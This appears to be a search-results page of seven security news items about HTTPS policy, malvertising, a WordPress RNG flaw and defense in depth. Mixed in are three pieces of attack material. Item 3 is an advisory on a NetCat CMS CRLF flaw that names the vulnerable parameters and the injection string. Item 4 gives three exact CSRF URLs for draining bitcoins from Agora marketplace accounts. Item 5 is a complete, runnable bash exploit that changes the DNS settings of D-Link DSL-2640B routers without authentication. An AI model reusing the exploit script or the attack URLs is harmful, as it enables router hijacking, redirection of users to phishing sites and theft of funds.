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Found 7 results

  1. Insecure sites relegated to Firefox Stone Age Insecure websites will be barred from using new hardware features and could have existing tools revoked, if Mozilla goes ahead with a push towards HTTPS. Webmasters that don't turn on HTTPS could be excluded from the new features list under a Mozilla initiative designed to rid the net of careless clear text gaffes, sending a "message" to developers that their web properties need to be secured, regardless of content served. Precisely which features could be held back are subject to debate, Mozilla security chief Richard Barnes says. "For example, one definition of 'new' [features] could be 'features that cannot be polyfilled'," Barnes says in a post. "That would allow things like CSS and other rendering features to still be used by insecure websites, since the page can draw effects on its own but it would still restrict qualitatively new features, such as access to new hardware capabilities. "Removing features from the non-secure web will likely cause some sites to break so we will have to monitor the degree of breakage and balance it with the security benefit." Mozilla, whose Firefox is used by a quarter of net surfers, says [PDF] existing features may be revoked but not before developers receive prior notice. The group has not yet set a date for when the "feature ban" will come into effect, but will submit proposals to the W3C WebAppSec Working Group 'soon'. It may begin with a softer slap for insecure sites - for example, by limiting the abilities of features rather than an outright block. Barnes says sites some HTTP content will be okay thanks to security features like HSTS. "It should be noted that this plan still allows for usage of the HTTP URI scheme in legacy content. With HSTS and the upgrade-insecure-requests CSP attribute, the HTTP scheme can be automatically translated to HTTPS by the browser, and thus run securely." Source
  2. Attackers are using Flash exploits and foisting ransomware through real time advertising bidding networks, FireEye researchers say. The attacks link to malicious or compromised advertising sites which participate in real time bidding systems in which ad inventory is sold to and by publishers. More than 1700 malicious advertising requests have been detected that led to malicious .swf Flash files being downloaded over hundreds of unnamed sites. "We believe this activity is part of an active malvertising operation," FireEye Labs researchers say in an advisory. "These ads can come from ad servers that are part of a legitimate ad network or rogue ad servers controlled by attackers." The attacks target a vulnerability (CVE-2014-0569) patched October last year affecting Adobe Flash and Air which was integrated quickly into exploit kits including the popular Angler. Damage to victims varied; FireEye bods say attackers foisted both the dangerous Cryptowall ransomware and what appear to be benign Windows files. Two .swf files are loaded and load the exploit then throw up an unrelated advertisement which varied across attacks. Researchers probing deeper discovered the studied advertising sites used a tool dubbed 'F**k AdBlock' designed to detect 'nasty' ad blockers across popular web browsers. URLs involved in the advertising network revealed the bid pricing, impressions, and information on operating systems and web browsers. Malvertising is a popular method for infecting web users. Last month some 1800 subdomains linked to GoDaddy accounts were found spreading the Angler exploit kit using a then Flash zero day exploit in a surreptitious malvertising campaign. Source
  3. *NetCat CMS Multiple HTTP Response Splitting (CRLF) Security Vulnerabilities* Exploit Title: NetCat CMS Multiple CRLF Security Vulnerabilities Product: NetCat CMS (Content Management System) Vendor: NetCat Vulnerable Versions: 5.01 3.12 3.0 2.4 2.3 2.2 2.1 2.0 1.1 Tested Version: 3.12 Advisory Publication: Mar 07, 2015 Latest Update: Mar 07, 2015 Vulnerability Type: Improper Neutralization of CRLF Sequences ('CRLF Injection') [CWE-93] CVE Reference: * Credit: Wang Jing [Mathematics, Nanyang Technological University (NTU), Singapore] *Advisory Details:* *(1) Vendor & Product Description:* *Vendor:* NetCat *Product & Version:* NetCat 5.01 3.12 3.0 2.4 2.3 2.2 2.1 2.0 1.1 *Vendor URL & Download:* NetCat can be got from here, http://netcat.ru/ *Product Introduction:* NetCat.ru is russian local company. "NetCat designed to create an absolute majority of the types of sites: from simple "business card" with a minimum content to complex web-based systems, from corporate offices to online stores, libraries or media data - in other words, projects completely different directions and at any level of complexity. View examples of sites running on NetCat CMS can be in a special section." "Manage the site on the basis of NetCat can even inexperienced user, because it does not require knowledge of Internet technologies, programming and markup languages. NetCat constantly improving, adds new features. In the process of finalizing necessarily take into account the wishes of our partners and clients, as well as trends in Internet development. More than 2,000 studios and private web developers have chosen for their projects is NetCat, and in 2013 sites, successfully working on our CMS, created more than 18,000." *(2) Vulnerability Details:* NetCat web application has a security bug problem. It can be exploited by HTTP Response Splitting (CRLF) attacks. This could allow a remote attacker to insert arbitrary HTTP headers, which are included in a response sent to the server. If an application does not properly filter such a request, it could be used to inject additional headers that manipulate cookies, authentication status, or more. *(2.1)* The first code flaw occurs at "/post.php" page with "redirect_url" parameter by adding "%0d%0a%20". *(2.2)* The second code flaw occurs at "redirect.php?" page with "url" parameter by adding "%0d%0a%20". *References:* http://securityrelated.blogspot.com/2015/03/netcat-cms-multiple-http-response.html http://tetraph.com/security/http-response-splitting-vulnerability/netcat-cms-multiple-http-response-splitting-crlf-security-vulnerabilities/ http://www.inzeed.com/kaleidoscope/computer-web-security/netcat-cms-multiple-http-response-splitting-crlf-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/netcat-cms-multiple-http-response-splitting-crlf-security-vulnerabilities/ https://itswift.wordpress.com/2015/03/07/netcat-cms-multiple-http-response-splitting-crlf-security-vulnerabilities/ http://seclists.org/fulldisclosure/2015/Mar/8 http://packetstormsecurity.com/files/130584/NetCat-CMS-5.01-Open-Redirect.html -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://plus.google.com/u/0/+JingWang-tetraph-justqdjing/posts Source
  4. Ladies and gentlemen Boys and girls It come to our attention that a brave warrior for the people Ross William Ulbricht was unlawfully convicted by the corporation known as the American government. This mockery of justice has not gone unnoticed. In order to protect the next generation of darknet markets we will be disclosing vulnerabilities for these sites in order to make these sites safer from attack. To start, the Agora Marketplace contains a CSRF vulnerability which can be used to drain a victim account of all of their Bitcoins. The following URLs can be used to perform this attack: URL to start PIN reset: http://agorahooawayyfoe.onion/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit= URL to change current PIN: http://agorahooawayyfoe.onion/resetpin?pin1=1337&pin2=1337&submit=Save URL to send bitcoins using the new pin: http://agorahooawayyfoe.onion/sendbitcoins?targetaddress=[YOUR_BTC_ADDY]&withdrawschedule=0&targetamount=1&walletpin=1337&submit=Send These are all GET requests and don't require JavaScript to work. NoScript cannot save you from poor coding practices. There will be more to come. Stay safe. Stay anonymous. -The Guardians of Peace Source
  5. #!/bin/bash # # D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit # # Copyright 2015 (c) Todor Donev <todor.donev at gmail.com> # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # Description: # Different D-Link Routers are vulnerable to DNS change. # The vulnerability exist in the web interface, which is # accessible without authentication. # # Tested firmware version: EU_2.03 # ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link # DEVICES OR FIRMWARE VERSIONS MAY AFFECTED. # # Once modified, systems use foreign DNS servers, which are # usually set up by cybercriminals. Users with vulnerable # systems or devices who try to access certain sites are # instead redirected to possibly malicious sites. # # Modifying systems' DNS settings allows cybercriminals to # perform malicious activities like: # # o Steering unknowing users to bad sites: # These sites can be phishing pages that # spoof well-known sites in order to # trick users into handing out sensitive # information. # # o Replacing ads on legitimate sites: # Visiting certain sites can serve users # with infected systems a different set # of ads from those whose systems are # not infected. # # o Controlling and redirecting network traffic: # Users of infected systems may not be granted # access to download important OS and software # updates from vendors like Microsoft and from # their respective security vendors. # # o Pushing additional malware: # Infected systems are more prone to other # malware infections (e.g., FAKEAV infection). # # Disclaimer: # This or previous programs is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use them at your own risk! # if [[ $# -gt 3 || $# -lt 2 ]]; then echo " D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit" echo " ================================================================" echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>" echo " Example: $0 192.168.1.1 8.8.8.8" echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4" echo "" echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>" echo " http://www.ethical-hacker.org/" echo " https://www.facebook.com/ethicalhackerorg" exit; fi GET=`which GET 2>/dev/null` if [ $? -ne 0 ]; then echo " Error : libwww-perl not found =/" exit; fi GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1 Source
  6. WordPress has become a huge target for attackers and vulnerability researchers, and with good reason. The software runs a large fraction of the sites on the Internet and serious vulnerabilities in the platform have not been hard to come by lately. But there’s now a new bug that’s been disclosed in all versions of WordPress that may allow an attacker to take over vulnerable sites. The issue lies in the fact that WordPress doesn’t contain a cryptographically secure pseudorandom number generator. A researcher named Scott Arciszewski made the WordPress maintainers aware of the problem nearly eight months ago and said that he has had very little response. “On June 25, 2014 I opened a ticked on WordPress’s issue tracker to expose a cryptographically secure pseudorandom number generator, since none was present,” he said in an advisory on Full Disclosure. “For the past 8 months, I have tried repeatedly to raise awareness of this bug, even going as far as to attend WordCamp Orlando to troll^H advocate for its examination in person. And they blew me off every time.” The consequences of an attack on the bug would be that the attacker might be able to predict the token used to generate a new password for a user’s account and thus take over the account. Arciszewski has developed a patch for the problem and published it, but it has not been integrated into WordPress. Since the public disclosure, he said he has had almost no communication from the WordPress maintainers about the vulnerability, save for one tweet from a lead developer that was later deleted. Arciszewski said he has not developed an exploit for the issue but said that an attacker would need to be able to predict the next RNG seed in order to exploit it. “There is a rule in security: attacks only get better, never worse. If this is not attackable today, there is no guarantee this will hold true in 5 or 10 years. Using /dev/urandom (which is what my proposed patch tries to do, although Stefan Esser has highlighted some flaws that would require a 4th version before it’s acceptable for merging) is a serious gain over a userland RNG,” he said by email. But, as he pointed out, this kind of bug could have a lot of value for a lot of attackers. “WordPress runs over 20% of websites on the Internet. If I were an intelligence agency (NSA, GCHQ, KGB, et al.) I would have a significant interest in hard-to-exploit critical WordPress bugs, since the likelihood of a high-value target running it as a platform is pretty significant. That’s not to say or imply that they knew about this flaw! But if they did, they probably would have sat on it forever,”Arciszewski said. WordPress officials did not respond to questions for this story before publication. Source
  7. TJX hacking mastermind Albert Gonzalez scoffed at antivirus tools. He and his cohorts wrote malware specifically designed to evade their detection. One can imagine him laughing as his team of hackers broke into corporate networks using SQL injection attacks and gained administrative access. Then he probably guffawed, Bond villain-style, as he uploaded the malware directly into server memory, and when the corporate networks began happily delivering customer credit card data directly to his servers chuckled all the way to the bank. Gonzalez was perhaps the biggest cyber criminal in history. He was eventually jailed for hacking more than 250 companies, ranging from retailers such as TJX and grocery chain Hannaford Bros through to payment processing company Heartland. He pilfered data from under their noses and cost them hundreds of millions of dollars. Even though many of these firms had antivirus software installed, they didn’t detect what he was doing. Why? Mind the gaps Don’t be mistaken: antivirus software is a crucial part of any security arsenal and every day malware scanners the world over detect and throttle millions of malicious software strains. This is not a category of software that we should live without. Antivirus tools work by scanning both static files and programs running in memory. They use several techniques to try and detect malicious activity. Signature scanning, which looks for known patterns in files, is a well-established method of finding software nasties, as its scanning code runs in memory, looking for potentially malicious activity as it happens. These are solid, reliable tools but when attackers are determined enough, antivirus software alone may not stop them from grabbing your data. The malware industry thrives on zero-day attacks – exploits using obscure or completely unknown vulnerabilities. A hacker smart enough to devise one – and there are plenty – can get past malware detectors. The smart IT manager uses complementary technologies to reduce the risk of attack, and one is to look at the potential delivery channels for malware. Ugly sites One way in which attacks are delivered is via drive-by downloads. Employees visiting legitimate work sites are relatively safe, but when they visit less savoury sites online they run the risk of being infected by rogue JavaScript running in the browser. Web protection software can reduce that risk by blacklisting certain sites or groups of sites. Filtering web access is a good way to reduce the risk of infection by simply prohibiting access to sites that are not necessary for work. It can also be a worthy complement to antivirus software that will attempt to detect anything installed via the browser. This multi-faceted protection is a basic tenet of modern cyber security. Another important vector is email. This has gained huge traction among attackers, who use it for phishing, and in some cases spear phishing targeting specific companies. Attackers can gather information about a company's organisational structure and employees. The list of sources here is endless, ranging from annual reports through to social media posts. These can be used to socially engineer employees to obtain login details or have them open a file containing a zero-day attack. Employee training is all-important here but it must be backed by a technological solution too. All it takes is for one user to open a file or click a link to a fake IT administrator page asking them to enter their single sign-on password as part of a security audit, and you can wave goodbye to the integrity of your network. Big phish The best way to counter threats delivered via email is to choke them off before employees even see them. Monitoring and filtering emails is therefore an important part of any corporate cyber-security strategy. Email can be scanned for viruses, and it can be controlled still further by scanning for known spam signatures and characteristics. This alone can root out the lion’s share of malicious or pestering emails, increasing employee productivity as well as reducing the risk of compromise. Adding blacklists for known bad domains and whitelists for recognised sources, such as business partners and customers, can be an extra-useful technique for locking email down. The further that companies can keep unscrubbed email away from their IT architectures the better. Pre-filtered email streams contain not only infected files but also large volumes of spam, which serve only to clog bandwidth and servers. Having these filtered offsite by a third-party service mitigates the problem, ensuring that only clean communications touch company servers. Patch and mend Even after all these measures have been taken, there is still the chance that a company’s systems can be compromised. The likes of Gonzalez, or the Sony Pictures hackers, are determined assailants. The battle doesn’t stop with web protection or email scanning. Making sure the software running on the network is up to date is an important aspect of any cyber-security strategy so that attackers can’t exploit any of the known vulnerabilities in the average operating system or application. Patch management processes and tools are critical, especially as companies grow larger and IT infrastructures become more complex. Understanding what has been rolled out and when can help IT administrators prevent dangerous holes from appearing in the system. All of these measures, layered onto antivirus software, can help to reduce the risk of a successful cyber attack. Here’s the dirty little secret of cyber security, though: nothing is 100 per cent secure. The key is to make things so difficult for attackers that they decide to move on to easier targets. The way to do that is to layer your defences, using multiple tools and protecting different parts and communications channels of the IT infrastructure. Managing it centrally also gives you a single point of access, helping you not only to quash incidental attacks but also to spot any emerging trends that could indicate a sustained, targeted assault on your company. This concept reflects a long-established military strategy: defence in depth, in which layers wear down an attacker’s ability to mount an offensive. In a modern environment, where companies live and die by their data, don’t rely on a thin red line to protect it all. Source
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